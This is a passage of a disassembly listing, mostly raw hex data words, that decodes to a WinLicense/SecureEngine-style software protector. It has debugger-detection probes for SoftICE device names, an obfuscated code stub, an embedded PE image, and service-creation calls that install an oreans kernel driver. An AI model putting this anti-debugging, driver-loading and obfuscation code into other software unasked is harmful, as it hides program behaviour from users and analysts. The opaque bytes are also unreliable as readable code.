4DEA8D6Ah, 0AA4924FDh, 12162D06h dd 6CE6DE43h, 0A84BE47Fh, 62912ECDh, 8933F594h, 170798C6h dd 1A4D358h, 0CB6E895Eh, 17B2C132h, 0F628C7Eh, 44EB07DCh dd 0B0CA9FABh, 3ADE6C09h, 8827CAA5h, 44E18473h, 0FEFF8401h dd 9124D145h, 0C6553F3h, 0DE000000h, 0E315755Ah, 1EC22C34h dd 1BBC8618h, 52A13ED9h, 0EE58225h, 4CA740DFh, 0FE48124h dd 51A23BE2h, 0FE48128h, 4FA441DCh, 10E37C23h, 24AE47E6h dd 2E4D68h, 243C8900h, 0C781E789h, 4, 8704EF83h, 685C243Ch dd 1B51h, 68241C89h, 7DF0h, 55243489h, 5F4660BDh, 0C5814D6Bh dd 9ABE50DDh, 24048155h, 27EC4B72h, 72EB815Bh, 5D27EC4Bh dd 24348B54h, 5304C483h, 0C72BD55h, 6C2948D3h, 8F5D0424h dd 46810846h, 0D30C7208h, 2434FF48h, 4C4815Eh, 0FF000000h dd 815B2434h, 4C4h, 0DF9EE900h, 97A8FFFDh, 0EDB67300h dd 0B8017783h dd 61D9E0Fh, 0E0FFC503h, 5F23B7CEh, 242508EBh, 53CC3D27h dd 14E8h, 3BC09500h, 2D146ACDh, 0BF53E3DFh, 0A578145h dd 0FE67542Bh, 10E9B5h, 93480000h, 795246Bh, 6BA4707Fh dd 9447E507h, 815E039Ah, 69ABC6h, 6FD68000h, 0BF0FDB33h dd 3334FFFEh, 880F6057h, 0 dd 5961D38Bh, 0CBB70F58h, 1F23C081h, 0E78120AEh, 26C0DF04h dd 0E426C081h, 8A6028E4h, 5EFBB8ECh, 81614F7Ch, 6BFE15F0h dd 0AE929h, 19530000h, 95177A3Ch, 30FCFD48h, 661E0489h dd 0EB81D38Bh, 36BD5486h, 5482C381h, 0E18036BDh, 1CFB8170h dd 0FFFFF97h, 1F85h, 33D28100h, 0E92619BDh, 24h, 3D054BEEh dd 1AA202Ch, 6146023Ch, 2DDBF59Dh, 0C6E4244Ch, 76E9CC8Ah dd 23FFFFFFh, 0AEA0AE7Bh, 0D678F6BFh, 71E9h, 0BD836000h dd 61B25E5h, 5840F00h, 0E9000000h, 5Ch, 3E80006Ah, 8850F30h dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah dd 24h, 0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh dd 406A0000h, 2E946h, 6A0000h, 1BF9858Dh, 5090061Bh, 96509690h dd 95FF006Ah, 61B2F79h, 85C6C361h, 61B239Dh, 9651684Dh dd 481418Dh, 0A7E05724h, 0B5B5FF62h, 8D061B29h, 1B391F85h dd 89D0FF06h, 1B2F7985h, 13E806h, 5DB30000h, 28929EE7h dd 60C65215h, 680066EFh, 15B84A2Ah, 0C3815022h, 7BABBD34h dd 13E95859h, 0C1000000h, 0A3735BA2h, 0E71FD7EEh, 31BB9530h dd 0ED703EAEh, 0C081438Dh, 73C8h, 0EF71CDBAh, 0F8C28112h dd 66ED10AAh, 30FFCE8Bh, 5EB5D980h, 4BC18056h, 0F9C68159h dd 661BB955h, 81D803B9h, 744DC9EEh, 81DE8B68h, 238276C6h dd 8B665607h, 29008FFAh, 1B14259Dh, 3E88306h, 8048F88Bh dd 0EA83B3CFh, 1F850F01h, 8B000000h, 1B2F999Dh, 24E906h dd 0E4230000h, 823285D7h, 7B4F1D7Ah, 0E66B653Ah, 3F3210BAh dd 9D892C1Ch, 61B1459h, 0FFFF95E9h, 527BE7FFh, 0AAE91FFCh dd 53000000h, 7774666Fh, 5C657261h, 4C6E6957h, 6E656369h dd 43006573h, 6B636568h, 58004E49h, 746F7270h, 74697845h dd 65684300h, 554F6B63h, 69570054h, 63694C6Eh, 65736E65h dd 73726556h, 6E6F69h, 4C6E6957h, 6E656369h, 72446573h dd 72657669h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h dd 6E496573h, 6E617473h, 45006563h, 4F746978h, 7250006Bh dd 4E49636Fh, 6F725000h, 54554F63h, 69784500h, 4E4974h dd 74697845h, 54554Fh, 4E497054h, 3 dup(0) dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h, 61DA170h dd 0A16C858Dh, 8D50061Dh, 1DA0D685h, 1685006h, 0FF800000h dd 1DA17C95h, 0FF196A06h, 1DA170B5h, 6A016A06h, 5858D00h dd 50061DA1h, 0A16CB5FFh, 95FF061Dh, 61B18E5h, 0A16CB5FFh dd 95FF061Dh, 61DA178h, 0A16CB5FFh, 95FF061Dh, 61B1D91h dd 708589C3h, 8D061DA1h, 1DA16C85h, 858D5006h, 61DA0D6h dd 16850h, 95FF8000h, 61DA17Ch, 858D046Ah, 61DA170h, 6A046A50h dd 2F858D00h, 50061DA1h, 0A16CB5FFh, 95FF061Dh, 61B18E5h dd 0A16CB5FFh, 95FF061Dh, 61DA178h, 0A16CB5FFh, 95FF061Dh dd 61B1D91h, 708589C3h, 8D061DA1h, 1DA16C85h, 858D5006h dd 61DA0D6h, 16850h, 95FF8000h, 61DA17Ch, 858D046Ah, 61DA170h dd 6A046A50h, 17858D00h, 50061DA1h, 0A16CB5FFh, 95FF061Dh dd 61B18E5h, 0A16CB5FFh, 95FF061Dh, 61DA178h, 0A16CB5FFh dd 95FF061Dh, 61B1D91h, 708589C3h, 8D061DA1h, 1DA16C85h dd 858D5006h, 61DA0D6h, 16850h, 95FF8000h, 61DA17Ch, 858D046Ah dd 61DA170h, 6A046A50h, 42858D00h, 50061DA1h, 0A16CB5FFh dd 95FF061Dh, 61B18E5h, 0A16CB5FFh, 95FF061Dh, 61DA178h dd 0A16CB5FFh, 95FF061Dh, 61B1D91h, 708589C3h, 8D061DA1h dd 1DA16C85h, 858D5006h, 61DA0D6h, 16850h, 95FF8000h, 61DA17Ch dd 858D046Ah, 61DA170h, 6A046A50h, 0F2858D00h, 50061DA0h dd 0A16CB5FFh, 95FF061Dh, 61B18E5h, 0A16CB5FFh, 95FF061Dh dd 61DA178h, 0A16CB5FFh, 95FF061Dh, 61B1D91h, 99BD83C3h dd 61B1Eh, 0B840Fh, 9D8B0000h, 61B1E99h, 894CC383h, 0BD83C303h dd 61B1E99h, 0B840F00h, 8B000000h, 1B1E999Dh, 50C38306h dd 83C30389h, 1B1E99BDh, 840F0006h, 0Bh, 1E999D8Bh, 0C383061Bh dd 0C3038954h, 1E99BD83h, 0F00061Bh, 0B84h, 999D8B00h dd 83061B1Eh, 38958C3h, 99BD83C3h, 61B1Eh, 0B840Fh, 9D8B0000h dd 61B1E99h, 895CC383h, 60C3C303h, 0A1708589h, 858D061Dh dd 61DA16Ch, 0D6858D50h, 50061DA0h, 168h, 7C95FF80h, 6A061DA1h dd 70858D04h, 50061DA1h, 6A046Ah, 0A167858Dh, 0FF50061Dh dd 1DA16CB5h, 0E595FF06h, 83061B18h, 1B23D1BDh, 840F0006h dd 0Ch, 0A16CB5FFh, 95FF061Dh, 61DA178h, 0A16CB5FFh, 95FF061Dh dd 61B1D91h, 8960C361h, 1DA17085h, 6C858D06h, 50061DA1h dd 0A0D6858Dh, 6850061Dh, 80000001h, 0A17C95FFh, 46A061Dh dd 0A170858Dh, 6A50061Dh, 8D006A04h, 1DA14985h, 0B5FF5006h dd 61DA16Ch, 18E595FFh, 0BD83061Bh, 61B23D1h, 0C840F00h dd 0FF000000h, 1DA16CB5h, 7895FF06h, 0FF061DA1h, 1DA16CB5h dd 9195FF06h, 61061B1Dh, 858960C3h, 61DA170h, 0A16C858Dh dd 8D50061Dh, 1DA0D685h, 1685006h, 0FF800000h, 1DA17C95h dd 8D046A06h, 1DA17085h, 46A5006h, 858D006Ah, 61DA150h dd 6CB5FF50h, 0FF061DA1h, 1B18E595h, 0D1BD8306h, 61B23h dd 0C840Fh, 0B5FF0000h, 61DA16Ch, 0A17895FFh, 0B5FF061Dh dd 61DA16Ch, 1D9195FFh, 0C361061Bh, 70858960h, 8D061DA1h dd 1DA16C85h, 858D5006h, 61DA0D6h, 16850h, 95FF8000h, 61DA17Ch dd 858D046Ah, 61DA170h, 6A046A50h, 58858D00h, 50061DA1h dd 0A16CB5FFh, 95FF061Dh, 61B18E5h, 23D1BD83h, 0F00061Bh dd 0C84h, 6CB5FF00h, 0FF061DA1h, 1DA17895h, 6CB5FF06h dd 0FF061DA1h, 1B1D9195h, 60C36106h, 0A1708589h, 858D061Dh dd 61DA16Ch, 0D6858D50h, 50061DA0h, 168h, 7C95FF80h, 6A061DA1h dd 70858D04h, 50061DA1h, 6A046Ah, 0A15F858Dh, 0FF50061Dh dd 1DA16CB5h, 0E595FF06h, 83061B18h, 1B23D1BDh, 840F0006h dd 0Ch, 0A16CB5FFh, 95FF061Dh, 61DA178h, 0A16CB5FFh, 95FF061Dh dd 61B1D91h, 0C760C361h, 1DA17085h, 106h, 6C858D00h, 50061DA1h dd 0A0D6858Dh, 6850061Dh, 80000002h, 0A17C95FFh, 0C00B061Dh dd 0F840Fh, 85C70000h, 61DA170h, 0 dd 4DE9h, 8D046A00h, 1DA17085h, 46A5006h, 858D006Ah, 61DA0EAh dd 6CB5FF50h, 0FF061DA1h, 1B18E595h, 0FC00B06h, 0F84h dd 7085C700h, 61DA1h, 0E9000000h, 0Ah, 0A17085C7h, 1061Dh dd 0B5FF0000h, 61DA16Ch, 1D9195FFh, 8B61061Bh, 1DA17085h dd 8960C306h, 1DA17085h, 6C858D06h, 50061DA1h, 0A0D6858Dh dd 6850061Dh, 80000001h, 0A17C95FFh, 46A061Dh, 0A170858Dh dd 6A50061Dh, 8D006A04h, 1DA0EA85h, 0B5FF5006h, 61DA16Ch dd 18E595FFh, 0BD83061Bh, 61B23D1h, 0C840F00h, 0FF000000h dd 1DA16CB5h, 7895FF06h, 0FF061DA1h, 1DA16CB5h, 9195FF06h dd 61061B1Dh, 858960C3h, 61DA170h, 0A16C858Dh, 8D50061Dh dd 1DA0D685h, 1685006h, 0FF800000h, 1DA17C95h, 8D046A06h dd 1DA17085h, 46A5006h, 858D006Ah, 61DA0FCh, 6CB5FF50h dd 0FF061DA1h, 1B18E595h, 0D1BD8306h, 61B23h, 0C840Fh dd 0B5FF0000h, 61DA16Ch, 0A17895FFh, 0B5FF061Dh, 61DA16Ch dd 1D9195FFh, 0C361061Bh, 239D85C6h, 6852061Bh, 0ADE47B07h dd 2DB9B5FFh, 95FF061Bh, 61B0671h, 0A17C8589h, 85C6061Dh dd 61B239Dh, 0E56852h, 0B5FF902Eh, 61B2DB9h, 67195FFh dd 8589061Bh, 61DA178h, 239D85C6h, 6852061Bh, 0B9BF1235h dd 2DB9B5FFh, 95FF061Bh, 61B0671h, 18E58589h, 85C6061Bh dd 61B239Dh, 10346852h, 0B5FF9878h, 61B2DB9h, 67195FFh dd 8589061Bh, 61B1D91h, 239D85C6h, 6852061Bh, 0C005DBD4h dd 2DB9B5FFh, 95FF061Bh, 61B0671h, 2EF18589h, 1EEB061Bh dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h dd 5C2E5C5Ch, 4349544Eh, 0C08B0045h, 1785B589h, 0BD83061Bh dd 61B23D1h, 83097500h, 1B3129BDh, 19740006h, 0C08B5350h dd 40FB8h, 0A1858900h, 8D061B2Dh, 1DA64D9Dh, 5BD3FF06h dd 29BD8358h, 61B31h, 53501774h, 40FB8h, 0A1858900h, 8D061B2Dh dd 1DA33C9Dh, 5BD3FF06h, 5D9D3158h, 6A061B06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 2936C351h, 1B0EE1B5h, 0FC08B06h, 85C6F7BFh, 61B239Dh dd 0D9BD8943h, 0E8061B2Bh, 4, 0BC8E6EFCh, 0E850D78Bh, 0Dh dd 0CD0A29F0h, 76166CC3h, 17F5E43h, 448B5ABFh, 8B0424h dd 5E8h, 11BD3600h, 8B66664Bh, 44895ECEh, 0BE80424h, 7F000000h dd 0A6E69FF9h, 77BE5EE0h, 8B66E052h, 89585AFEh, 1B01ADBDh dd 0F9B5FF06h, 81061B2Bh, 558066EAh, 1F858D31h, 6A061B39h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 759FC357h, 4DDDE614h, 2924BD9Bh, 1B07019Dh dd 89D0FF06h, 1B245D85h, 6E89006h, 5E000000h, 90FF107Dh dd 0FE8B66B0h, 5250505Ah, 14E95250h, 0ED000000h, 1D0D6612h dd 266AA778h, 0AA93998Eh, 0E1995C92h, 0FEDF2B8h, 0F585A31h dd 0EE831h, 0DA8E0000h, 6167CBCh, 287E6E96h, 4961BA91h dd 90585A59h, 23D9BD89h, 8D0F061Bh, 0Ch, 6890Fh, 0F7810000h dd 3DC28B07h, 9FBE006Ah, 68683592h, 0EAD3DDB5h, 996596BEh dd 24048145h, 152C22CBh, 36AEA8Ah, 30E58D8Bh, 6A061Bh dd 19A19589h, 0E5BF061Bh, 6A455009h, 198D0103h, 0E8061B08h dd 4, 0C0000000h, 71351ABEh, 0D18B5009h, 424448Bh, 8B565250h dd 310F5FD6h, 197FBF66h, 8B585Ah, 5363A4B9h, 2444893Fh dd 66525004h, 0FF6D7BEh, 10E831h, 0AB2A0000h, 0DCE77BFAh dd 0DCF2C10Eh, 0A0D524ABh, 0BF6612CFh, 5A5AB892h, 0FE95858h dd 0D4000000h, 0CE597A86h, 35A932A2h, 0BDFADD15h, 9D8D138Dh dd 61DA7B3h, 3929BF66h, 0AE96050h, 18000000h, 0E7820138h dd 0DB99C63Dh, 1C8961F1h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0FC579A99h dd 8BD0FF5Ah, 1B0C6D8Dh, 8D895206h, 61B0201h, 850F405Ah dd 2B0h, 5880DA80h, 393EB966h, 6E86090h, 39000000h, 29018187h dd 5A5850A9h, 13E9h, 0BE261A00h, 7CA9AB8Fh, 0FC6515CDh dd 0D328A058h, 4F2E7163h, 0BA665061h, 6A909149h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 6FB2C350h, 5673206Bh, 6A142ACAh, 59B53300h, 8B061B14h dd 1B12A5BDh, 0DAEF6806h, 8B663B12h, 243481F0h, 3B12DA6Fh dd 18698D8Bh, 49B9061Bh, 6A22720Ch, 6A616003h, 15B58B00h dd 6A061B31h, 5FD28103h, 68775D09h, 4F88AEDFh, 481D18Bh dd 77512124h, 9D8DF870h, 61DA7BCh, 92D98166h, 6CB99332h dd 506073D1h, 52936160h, 0D0FF59FCh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0ECC35545h, 50BE66ECh, 850F400Bh dd 1C8h, 30EDBD89h, 0E958061Bh, 0Ch, 1D037227h, 0A48F515Eh dd 35A14728h, 14840F50h, 0E8000000h, 0Bh, 10104802h, 0D6A00688h dd 66365F38h, 895EF18Bh, 0BD8B2404h, 61B1085h, 4E8006Ah dd 80000000h, 0F000000h, 88Dh, 52505100h, 585A310Fh, 0BE95059h dd 0D8000000h, 309E551Dh, 5E189BE2h, 448BE8A6h, 1BBE0424h dd 8B5826A4h, 14E800h, 0EB530000h, 95CCBAAAh, 0B0D197BFh dd 16921481h, 1D4AB1CCh, 8959855Fh, 0BA042444h, 7CA00757h dd 0D2B70F58h, 6A036Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 3B962DC3h, 41958B4Bh, 6A061B22h dd 0D6816600h, 36A7278h, 14E9h, 8F45F500h, 4F7DF748h, 9AC0AE5Bh dd 0D4EBC5E7h, 0CBDBABF1h, 0E5B531A1h, 68061B2Bh, 664BCCEEh dd 14E8h, 0ABA8F600h, 0ED302F40h, 6F7AB4Dh, 0CD8588A5h dd 0D6586284h, 13E8E0h, 7CC50000h, 73C413C9h, 3B021BBAh dd 83F5B507h, 5BE3673Fh, 5F5A5312h, 2404815Eh, 59B43312h dd 5E9h, 0EBA01100h, 9D8DB1A1h, 61DA7C7h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 0EFC35040h, 19D2F850h dd 0A9BD8B60h, 0F061B03h, 68Ah, 0D858B00h, 61061B22h, 9464EBBEh dd 0AE948h, 6FAB0000h, 0EE628Ah, 23F23E20h, 0DE8A6093h dd 5061CB8Bh, 93CB8B66h, 0FFFB8B66h, 0EE8D0h, 9B970000h dd 0ED9B5DBFh, 6AC49C56h, 2A1F24A5h, 0D5B2B966h, 850F405Eh dd 18h, 5879C680h, 6E9h, 0F51FB500h, 0E97D9C65h, 162h dd 32B9B966h, 6AD88Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 4559A3C3h, 34A301BBh, 816685EBh dd 8950A3CEh, 1B2975B5h, 0AFBF4B06h, 5849EA71h, 8E5B509h dd 85C6061Bh, 61B239Dh, 19BD0B43h, 68061B18h, 0C7D73001h dd 3481D08Ah, 0A17AA624h, 61BD8907h, 0FF061B01h, 1B2BF9B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8E95452h, 66000000h, 1101993Ch, 60A64C27h dd 0E925DC80h, 9, 138EC0A2h, 0F8A24C03h, 858D6114h, 61B391Fh dd 0A01B1FBFh, 6AD0FF73h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8B20C357h, 0DE893CEh dd 8F000000h, 0C52CF095h, 0B3303502h, 0BE9E5B5Fh, 6093505Fh dd 24D5B58Bh, 10E9061Bh, 0C6000000h, 17A9EBFh, 0E17BEC6Ch dd 831E448Ah, 611E4DDEh, 0FFD7B70Fh, 57006AD0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 53387D76h dd 985BD89h, 8D5F061Bh, 1B71049Dh, 1B8F506h, 56000000h dd 0C3B70F60h, 13E9h, 0B5015500h, 2A6AA34Fh, 0ACB75034h dd 8107072Dh, 0FD647B81h, 0E3FF5961h, 2E059589h, 0C18B061Bh dd 8BF3B70Fh, 8D8956C0h, 61B3231h, 83C88B5Eh, 1B23D1BDh dd 9750006h, 3129BD83h, 7400061Bh, 8B535019h, 40FB8C0h dd 85890000h, 61B2131h, 0A6B49D8Dh, 0D3FF061Dh, 0BD83585Bh dd 61B3129h, 50177400h, 40FB853h, 85890000h, 61B2131h dd 0A3559D8Dh, 0D3FF061Dh, 8A53585Bh, 0F58A5AD5h, 29199501h dd 0C08B061Bh, 99E9h, 75622F00h, 65686367h, 326B63h, 6775622Fh dd 63656863h, 662F006Bh, 6563726Fh, 6E7572h, 6775622Fh dd 63656863h, 6C75666Bh, 732F006Ch, 63776F68h, 65646Fh dd 6F68732Fh, 646F6377h, 2F003265h, 74726C63h, 69642F00h dd 2F003173h, 776F6873h, 74736E69h, 65636E61h, 65672F00h dd 736C7774h, 75746174h, 6C2F0073h, 7473676Fh, 73757461h dd 75642F00h, 7473706Dh, 73757461h, 0 dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h dd 61DAF48h, 0A840F00h, 0C7000000h, 1B312985h, 106h, 9D85C600h dd 47061B23h, 0B5222068h, 24048140h, 4FB84A6Dh, 2BF9B5FFh dd 858D061Bh, 61B391Fh, 0D0FFD0FFh, 3F80F88Bh, 22850F22h dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh dd 3F800000h, 6850F20h, 47000000h, 6E9h, 0E2E94700h, 80FFFFFFh dd 850F003Fh, 5, 2E0E9h, 1E900h, 80470000h, 840F203Fh dd 0FFFFFFF6h, 0F003F80h, 585h, 2C3E900h, 0AE80000h, 0E9000000h dd 0FFFFFFCBh, 2B4E9h, 0C8B58D00h, 0E8061DAEh, 225h, 0AF5DBD03h dd 0BD83061Dh, 61DAF5Dh, 0B840F00h, 0C7000000h, 1B23D185h dd 106h, 0B58DC300h, 61DAED3h, 1FCE8h, 5DBD0300h, 83061DAFh dd 1DAF5DBDh, 840F0006h, 0Bh, 312985C7h, 1061Bh, 8DC30000h dd 1DAF4CB5h, 1D3E806h, 0BD030000h, 61DAF5Dh, 0AF5DBD83h dd 0F00061Dh, 0B84h, 0E585C700h, 1061B25h, 0C3000000h dd 0AEDDB58Dh, 0AAE8061Dh, 3000001h, 1DAF5DBDh, 5DBD8306h dd 61DAFh, 0B840Fh, 85C70000h, 61B3129h, 1, 0E7B58DC3h dd 0E8061DAEh, 181h, 0AF5DBD03h, 0BD83061Dh, 61DAF5Dh dd 15840F00h, 0C7000000h, 1B312985h, 106h, 0D185C700h dd 1061B23h, 0C3000000h, 0AEF5B58Dh, 4EE8061Dh, 3000001h dd 1DAF5DBDh, 5DBD8306h, 61DAFh, 0A840Fh, 85C70000h, 61B12FDh dd 1, 0AEFFB58Dh, 26E8061Dh, 3000001h, 1DAF5DBDh, 5DBD8306h dd 61DAFh, 0A840Fh, 85C70000h, 61B12FDh, 1, 0AF0AB58Dh dd 0FEE8061Dh, 3000000h, 1DAF5DBDh, 5DBD8306h, 61DAFh dd 0A840Fh, 85C70000h, 61B1089h, 1, 0AF10B58Dh, 0D6E8061Dh dd 3000000h, 1DAF5DBDh, 5DBD8306h, 61DAFh, 0A840Fh, 85C70000h dd 61B0681h, 1, 0AF16B58Dh, 0AEE8061Dh, 3000000h, 1DAF5DBDh dd 5DBD8306h, 61DAFh, 0A840Fh, 85C70000h, 61B03ADh, 1 dd 0AF24B58Dh, 86E8061Dh, 3000000h, 1DAF5DBDh, 5DBD8306h dd 61DAFh, 0A840Fh, 85C70000h, 61B2EE1h, 1, 0AF31B58Dh dd 5EE8061Dh, 3000000h, 1DAF5DBDh, 5DBD8306h, 61DAFh, 0A840Fh dd 85C70000h, 61B110Dh, 1, 0AF3CB58Dh, 36E8061Dh, 3000000h dd 1DAF5DBDh, 5DBD8306h, 61DAFh, 0A840Fh, 85C70000h, 61B1B71h dd 1, 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh dd 0FFFFFFEDh, 1B960C3h, 8B000000h, 1CE9DEh, 3F800000h dd 5850F00h, 0B9000000h, 0 dd 1638178Ah, 2840Fh, 0C92B0000h, 3E804746h, 8840F00h dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h, 80000000h dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h dd 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 61DAF5Dh, 0AE9h, 5D85C700h dd 61DAFh, 61000000h, 0E8C88BC3h, 10h, 0E4A752DCh, 0BB256D5Bh dd 79A661A1h, 0FE2EBE37h, 1FD858Bh, 895E061Bh, 1B00F595h dd 0E1C68106h, 0F000072h, 0BFDEBFh, 89000000h, 1B004595h dd 3E0C8B06h, 16C9958Bh, 0E981061Bh, 176D1917h, 5BD2B60h dd 89061B24h, 1B166985h, 0F1816106h, 0B9FE6F8h, 81C3B70Fh dd 61233E9h, 91858B53h, 89061B12h, 0EB813E0Ch, 5BE6AF0Fh dd 16A18D89h, 0EF83061Bh, 0ACB75104h, 0B8FF815Ah, 0FFFFF8Dh dd 0FFFFAC85h, 13E9FFh, 36430000h, 0D472DE6Eh, 568C5E3Eh dd 0AA52F1BDh, 2F4121Bh, 20EE9CEh, 43330000h, 6F6E6E61h dd 72772074h, 20657469h, 6165726Fh, 762E736Eh, 0D0A6478h dd 656B614Dh, 72757320h, 68742065h, 74207461h, 20736968h dd 656C6966h, 20736920h, 20746F6Eh, 6E696562h, 73752067h dd 62206465h, 6E612079h, 6568746Fh, 72702072h, 6172676Fh dd 2E6Dh, 67h dup(0) dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0) dd 0EFE9h, 9D85C600h, 47061B23h, 0E45B8668h, 0F9B5FFE3h dd 8D061B2Bh, 1B391F85h, 68D0FF06h, 104h, 0F459D8Dh, 0FF53061Bh dd 0B58D50D0h, 61DB575h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 61B239Dh, 6EFC6843h dd 0B5FFBC8Eh, 61B2BF9h, 391F858Dh, 0D0FF061Bh, 0F45B58Dh dd 6A061Bh, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h dd 9D85C6D8h, 57061B23h, 9BEE5668h, 0F9B5FFA6h, 8D061B2Bh dd 1B391F85h, 8DD0FF06h, 1B0019BDh, 9B8D8D06h, 6A061DB6h dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h, 8D000000h dd 1DB37DB5h, 7C858D06h, 0FF061D9Fh, 48D8DD0h, 0B8061B71h dd 0 dd 85C6E1FFh, 61B239Dh, 4AA76843h, 0B5FFC076h, 61B2BF9h dd 391F858Dh, 0D0FF061Bh, 0C3D0FF53h, 37D0B9h, 0E800h dd 83580000h, 8890EC0h, 2E9h, 0E9C38B00h, 37D0h, 905A4Dh dd 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0B0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0) dd 454Ch, 0 dd 40002h, 0 dd 38000h, 14h, 4 dup(0) dd 200h, 1C0h, 90h, 0 dd 7Eh, 0 dd 0C4h, 1, 0DCh, 3 dup(0) dd 12Ch, 138h, 2 dup(0) dd 142h, 196h, 1D2h, 0 dd 1D2h, 0 dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0) dd 4000000h, 27C0h, 0 dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h, 110000h dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h dd 10301h, 3, 0 dd 13h dup(70000h), 3C0000h, 70000h, 60010018h, 0AD000727h dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h dd 7279801h, 1016B00h, 2771h, 360h dup(0) dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0) aVerpp db 'verPP',0 align 4 a1vsr2vsr3vsr db '1vsR2vsR3vsR',0 align 4 dd 9C3h dup(0) dd 831BE883h, 77309F8h, 8524FFh, 0F8000000h, 0C3h, 8 dup(0) dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 10A9E9h, 56444100h dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0) dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0) aOreansx64_sys db 'oreansx64.sys',0 align 4 dd 0 dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0) dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0) dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h dd 6172676Fh, 2E6Dh, 59h dup(0) dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0) dd 2E5C5C00h, 